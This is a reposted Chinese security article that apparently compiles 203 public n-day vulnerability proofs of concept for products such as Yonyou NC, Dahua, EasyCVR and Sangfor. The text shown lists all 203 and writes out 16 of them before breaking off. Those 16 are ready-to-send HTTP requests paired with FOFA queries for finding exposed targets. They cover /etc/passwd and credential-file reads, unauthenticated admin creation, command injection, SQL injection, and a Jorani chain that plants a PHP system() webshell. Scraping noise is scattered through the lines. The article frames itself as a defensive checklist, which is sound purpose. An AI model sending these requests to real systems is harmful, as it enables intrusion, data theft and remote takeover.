互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

6 ?8 p% `9 {3 _" z! K* a' ^: v发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
$ b* X1 H( t, o
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
8 P" U! l. M& \
) k& `9 z) M7 |6 H+ B, c安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

, X% \+ V0 g+ E. @9 Z5 ]1 v- Z文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
+ V0 t- b8 d: ]; J
1 v( f. G7 v; B- G
声明
9 a0 h: Y5 O  M& b* u
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
! h/ `5 K: R6 K7 |) T
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

! w% y7 Y) w2 H8 U- Q  G* W) b% z3 y
- u& w: I2 x* v, ^$ U6 s  T
! S9 ~; p' Z5 A" i7 L6 p9 b目录

01
( B8 C' J. c, n7 Z. r6 ~$ `
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
1 Y# |) p* B0 ?3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
/ s8 O) U2 o* I: T( ]' U5 Y6. 深信服 NGAF 任意文件读取
3 _3 J$ K2 C* D1 m0 t. c7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
. [. ~2 V& m  T  q6 H- X11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
, v% M* `' j0 w2 c7 P13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
. ~, H0 L! ]) S% f4 j15. 华夏ERP getAllList信息泄露
/ O  b) a1 g5 m% R& U16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
; M2 R$ i/ H, ]$ L+ @: W5 [, H20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
' H: O. G  B* d$ F- ^$ T24. 用友NC 6.5 accept.jsp任意文件上传
2 v3 v9 W- R! q. O25. 用友NC registerServlet JNDI 远程代码执行
. y" T# H& w% O; j& i! ^" P$ c1 T26. 用友NC linkVoucher SQL注入
, q) R4 |) [* P/ h% N7 n; B: m6 p27. 用友 NC showcontent SQL注入
' ^1 \* `& G# g9 Q  E0 j28. 用友NC grouptemplet 任意文件上传
2 l$ `2 ~9 T/ i4 d2 F5 [' Z6 N; f& h29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
6 y$ V. g! U; S+ ^32. 用友NC complainbilldetail SQL注入
" b, f7 ^6 c8 r+ _) ?3 X$ \33. 用友NC downTax/download SQL注入
- T$ x9 f: Q& |( j/ }# C* O34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
0 r2 D. Y. w( J& `39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
' q! q5 A* Y4 S; \7 V+ I1 K. J* g41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
, ?8 @5 P, B2 F6 w, K42. 用友GRP-U8 SmartUpload01 文件上传
' h* g6 e1 M9 j8 ]: |43. 用友GRP-U8 userInfoWeb SQL注入致RCE
, i2 _. P5 X* T: l2 B5 e# N44. 用友GRP-U8 bx_dj_check.jsp SQL注入
1 q5 a/ _3 }/ F4 |% W7 c7 g45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
9 O4 R9 U! L5 m9 Y3 V+ j49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
5 A" y7 w7 Q+ L+ V5 H1 l54. 畅捷通T+ getstorewarehousebystore 远程代码执行
$ E9 P5 m# p) x$ u+ O) m- |+ R55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
1 L7 R; ]7 `- V! D: t60. 百卓Smart管理平台 importexport.php SQL注入
; }3 e/ t; M7 X2 `0 H61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
6 _& }# z' e* T4 |; ]62. IP-guard WebServer 远程命令执行
, Q3 ]; g4 R, M- c63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
! h6 y9 i7 U/ }66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
5 K2 W" v1 v1 K9 N7 _# I68. 万户ezOFFICE wf_printnum.jsp SQL注入
9 A5 p2 s) Y3 W& e% z69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
" \! e# k, }9 z3 W& x71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
! n0 s; F  c9 m72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
: A9 P: a3 a* ^- q- ?74. 致远M3-server 6_1sp1 反序列化RCE
) P# D$ D. ^9 P; o1 c75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
! h4 G: I  c0 g& q; p76. 新开普掌上校园服务管理平台service.action远程命令执行
1 O' i1 _7 Q; w77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
) f9 ^( S( v; v! z84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
+ u  W1 n2 T$ f& B85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
+ n# C3 v/ d* x) j* j$ o% }87. 安恒明御安全网关aaa_local_web_preview文件上传
3 r& ~8 d" w" |2 z88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
* i  u( s  Z# t( K90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
" H% Y* W) P& G8 n, n93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
! H' L- O' Y+ ~3 R5 u/ B* |  Y" G95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
) J* ?# R# y0 G' d99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
$ d0 ]1 b" l" P103. Ivanti Pulse Connect Secure VPN XXE
, S) v! G' H+ P, a  D. I104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
! H4 V* N+ A0 @, ~105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
1 [/ G/ F5 r6 j( K" N& g108. D-Tale 3.9.0 SSRF
: }+ W/ U; I' d7 q109. Jenkins CLI 任意文件读取
0 @; q8 A( b4 t, R7 x& V7 k110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
9 p9 {  y/ s6 s3 o9 Z3 b115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
  g2 H- `% T  I3 U118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
" R  T1 Y/ T9 g+ M* F9 T% |6 X' B122. 北京百绰智能s200管理平台/importexport.php sql注入
+ a( K- _$ N6 ^/ [/ ~2 y123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
! j) E# z! q% ?5 V8 f! h125. ConnectWise ScreenConnect身份验证绕过
  g) X4 N- v3 d! G! L6 {126. Aiohttp 路径遍历
" r/ c0 ]6 o6 v( E3 H3 ~127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
& ?( |' Q9 h/ ?; k2 z129. Adobe ColdFusion 任意文件读取
1 Y" P# K2 s: e/ M. J' o) q& H4 i130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
( u3 Q; t. T! R% x2 X132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
, ^8 @9 I2 v3 p+ ^- q, H( y134. 网康NS-ASG应用安全网关index.php sql注入
4 }3 j% ^" G  r$ D& X. P135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 O. l$ h3 W  `. f+ ]141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
- `( ~* q& b# O3 m* g" X& t142. CMSV6车辆监控平台系统中存在弱密码
8 p$ q# z+ j# v- {9 [9 \143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
+ p8 f( q: g2 F2 m# \+ ]146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ ?7 P, Q! q0 V$ x148. CrushFTP 认证绕过模板注入
- U) R) Y# v  L$ u149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
3 f! b. k7 O2 k1 o$ c  I6 d* j* u151. AJ-Report 1.4.1 pageList sql注入
, z1 j2 N1 S7 P, l; s152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
  a  O* a' {9 G" M6 F' {154. 天维尔消防救援作战调度平台 SQL注入
4 R* t4 C* S: c: [155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
- W) t. F6 d; @* c! b) z/ h157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
6 c9 ^( v; j8 z& A$ a160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
, Y7 X: I0 H- ^* Z$ Z# M, z162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
3 \$ O$ {/ V" b) u167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
  a% E+ |- M( h$ `$ v169. 宏景EHR downlawbase SQL注入
1 s5 }3 Z' e3 G. E170. 宏景EHR DisplayExcelCustomReport 任意文件读取
. w5 K& W% w/ ~* v' }! y4 e171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
, T  _. w$ _  e1 e, h# s' C; A! J174. 金和OA C6 FileDownLoad.aspx 任意文件读取
0 m& ]5 ~4 c+ p2 s% p$ {* N175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
( b  K& i5 c4 Z/ x176. 电信网关配置管理系统 rewrite.php 文件上传
2 x  P/ \; f6 P( U* K177. H3C路由器敏感信息泄露
" T3 `* ]; q0 E$ m% `  E178. H3C校园网自助服务系统-flexfileupload-任意文件上传
* o2 h# o& A0 p& f7 I+ T  L179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
7 F/ E& n% {3 }+ u( L. h181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
. i7 I* [( B- V0 O% f186. F-logic DataCube3 SQL注入
" R: H' [( N5 G) I; r, `, g( p) L187. Mura CMS processAsyncObject SQL注入
. {! Y* h7 y$ a% j188. 叁体-佳会视频会议 attachment 任意文件读取
8 K' \; D% Z/ |0 z) c* C189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
2 {5 B8 _8 I* w3 O191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
8 \0 m! P  Q& e7 g) m/ G- Q192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
) x0 ]4 w' {1 J7 s, |4 q$ D# ~* c195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
7 [* z0 y. m' ]- W: |196. 河南省风速科技统一认证平台密码重置
" b8 Q8 M# }& m% E! S4 Y+ Q, L. A197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
& `1 f$ V3 z# e9 F1 h- v# i0 q: H198.  阿里云盘 WebDAV 命令注入
; A" l4 ^2 _4 n. R; V1 D199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
' p" P5 |8 B/ x- Q( V202. 微擎系统 AccountEdit任意文件上传
  _: m, J5 k9 S. k$ a% w3 E9 ?$ k; q203. 红海云EHR PtFjk 文件上传
. r6 m2 d% i* j( G/ h$ L/ s& n
  J$ i9 a# U$ [POC列表

1 M3 D' \7 g: X3 B+ ]2 R02

1. StarRocks MPP数据库未授权访问
. I9 U7 y) X: S; M6 K- SFOFA ：title="StarRocks"
: d0 ]7 P/ J6 i5 I" m  tGET /mem_tracker HTTP/1.1
. }' k0 ]# D7 ~* X9 E8 \# D% hHost: URL

" @0 @$ e- V% V
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
  q0 e8 ^: y1 n5 i+ NAccept: */*
Accept-Language: en
) R: [' _5 k2 R' @  tAccept-Encoding: gzip
5 L9 V$ S4 Q' P8 J& K4 p" g  P

% n5 N2 z" [( U" I: @3. EasyCVR智能边缘网关 userlist 信息泄漏
% R/ g% R; \; OFOFA ：title="EasyCVR"
; l, `8 j& E9 |$ x5 o. Z, cGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
* |( r& T; c2 yHost: xx.xx.xx.xx


7 k2 u. h. C6 a3 f5 F4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
- o  s9 a! m/ p7 `Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

" c' M+ l+ W4 F/ P+ W4 s5 w5 C4 T8 Q
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
5 a$ g& r1 b% y9 F' dGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
' c: m: d% E3 C) X8 y

( r* L% Q9 o# j, V! [0 R6. 深信服 NGAF 任意文件读取
3 E1 `6 z, i+ t3 N+ B1 G6 ^) n8 _FOFA：title="SANGFOR | NGAF"
7 X2 `0 d% @6 a! P% B  GGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
% m! l; p' @# T/ X# r& ^8 V, y

7. 鸿运主动安全监控云平台任意文件下载
" ]$ i5 o( ^/ kFOFA：body="./open/webApi.html"
; G  j1 m( {' j/ H/ J1 r6 P/ oGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
# X( Y% a" }* E% W7 [2 fHost:

) N5 [  e, \7 o
$ H* \5 }' v" V3 L$ a8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
: J2 F# i& J. a+ @6 _! ~- YCookie: sysauth=第一步登录获取的cookie
" J0 [* Y9 W# G: r( j) h! rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- y5 X) p3 x9 F7 k
6 Z4 l0 `1 P& D------WebKitFormBoundaryxbgjoytz
) s% f9 T, e! \: W8 pContent-Disposition: form-data; name="wifiRebootEnablestatus"

" G# J( t9 i3 C+ y$ u5 \4 D%s
# b6 C: \) w& V; ?------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

  J6 c6 J# k; |12:00; id;
------WebKitFormBoundaryxbgjoytz
2 z6 w! V' j6 C6 ?Content-Disposition: form-data; name="wifiRebootendrange"
6 }' g% W0 ~, B# @
: I$ l/ T% f" r! v2 T6 `%s:
------WebKitFormBoundaryxbgjoytz
% N8 r  k' {: u" {+ V3 }" dContent-Disposition: form-data; name="cururl2"
  o' V3 K9 E; s. k
2 r* Y4 u, `: x" g
- K2 h# R" T+ ?/ i2 X( g------WebKitFormBoundaryxbgjoytz--
1 `8 B6 Y, O& n  l

0 g$ g- Y4 }/ w- b0 v9 w9. 稻壳CMS keyword 未授权SQL注入
- S. M" Z  P& L" [. s# dFOFA：app="Doccms"
2 ]4 n5 e! S6 @; @0 `8 wGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
9 _% `& c' x/ Y% UHost: x.x.x.x
0 R1 K0 v9 J8 p7 H) J, x+ }) ^
- L( Y8 {1 l. s. m3 f4 R
7 N( Z' H. I5 n  b( Ypayload为下列语句的二次Url编码
6 _+ p3 C9 y+ C+ X) Z" A
( q/ E0 o2 ^' s  I. y5 y% l' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
8 `2 x3 O" K5 j& q$ T* m9 {; \
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

+ s; s- ]) X; K. i. v文件上传后响应中包含上传文件的路径
3 T2 P7 E+ z* |- YPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
* k5 N5 u' K: T3 nHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
$ v; t; }. ~7 g) C( o0 ^/ g' H0 ?/ EContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 \: O) H: r5 K' }. N( x" zAccept-Encoding: gzip, deflate
: F5 H- f4 c( VAccept-Language: zh-CN,zh;q=0.9
' O+ a' o5 @3 x+ MConnection: close
6 V( S5 k, @9 ?. N8 w* OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
8 W* ]5 q  l3 z6 J  @; G9 N5 _2 `0 ]Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
, w0 e0 p4 K4 _  k" [------WebKitFormBoundaryxdgaqmqu--
* X% p, }: v! Q* K  f2 @4 U
& [/ b  Z2 ]3 _8 F+ `7 V" V# V
0 n+ {0 v; J4 _$ ~( }3 T11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
: B6 W+ ^& t9 K- d8 C* h+ d4 WHost: 127.0.0.1
2 w- u3 W! x7 o9 A0 ePragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
0 o- n) K) T  v" w

8 \2 n4 R! j. C' g; y' Q$ a) M12. Jorani < 1.0.2 远程命令执行
, z) k) e- R- P) A" t8 DFOFA：title="Jorani"
第一步先拿到cookie
& Q5 L6 B) N5 M1 u/ U5 v% p5 k" ^: ]GET /session/login HTTP/1.1
3 l) v  u- u8 \  |: V. K' gHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
# U& w1 c/ L1 o3 G( M1 QConnection: close
Accept-Encoding: gzip
3 T& d  J, `: l1 m: [1 A) c3 `& x
' |( e" R4 n4 C& k) U
) L3 f2 `* ]5 O8 \, w6 d# @) Q响应中csrf_cookie_jorani用于后续请求
; j' S& Q6 H0 ~0 w& H: \HTTP/1.1 200 OK
Connection: close
# _. t7 z4 C& T( @Cache-Control: no-store, no-cache, must-revalidate
9 v' q% g- y' M: O1 R$ {Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
: x4 m4 c" p  {& r3 C0 `+ hSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
" i( {1 S& Y8 zVary: Accept-Encoding
1 B. v8 `  E8 ?. G

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% Z  i8 {! P; F% |& KConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
8 |. ?6 X5 N( v: H. iAccept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


* \. a4 A9 Q' ?
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
8 C+ y: o' i; Z( g5 FHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& ]& R, Y( |' U% |9 f3 YConnection: close
! v( l; P/ e/ z3 s+ H: j2 [Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
& l3 t& \$ p8 ~8 z- H% fK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

& ~9 f# l8 y/ H
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
5 p) Y! g/ f1 [6 z% |GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
+ d6 a  ^; Z! xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
; j* H- J  ^) G. GConnection: close
2 L: Z* n) @4 x: Z8 k+ h# c6 V* YAccept: */*
Accept-Encoding: gzip
4 u3 u: [; T* v+ M

14. 华夏ERP（jshERP）敏感信息泄露
! J2 C5 n/ a+ `1 [$ k  P' lFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
' s, H' m8 d- YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
2 z( M9 t. p( A8 N) z0 a* nConnection: close
  C3 y- v! U* a( S& pAccept: */*
Accept-Language: en
Accept-Encoding: gzip
( g" c- d% ?7 r% @- O
5 b$ P8 _& A( `7 D) Z  A
$ g5 p; n' p/ V9 j  t; U15. 华夏ERP getAllList信息泄露
3 f6 P3 N$ K3 o3 C4 b4 j) u" UCVE-2024-0490
FOFA：body="jshERP-boot"
3 v# K; B$ a& |0 L+ S4 U泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
' w% p  C, x, v" N$ i/ Z: NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
2 F, L5 W6 R* t8 g# ]9 D  P# mAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
+ K; f/ g5 z$ |7 j# f) r. yAccept-Language: en
" g) L2 N1 {- D* Psec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
$ h$ }8 Q# H, [$ ]1 _& oFOFA：title="HFOffice"
- ^8 u# ?! i# F+ z& [6 Jpoc中调用函数计算1234的md5值
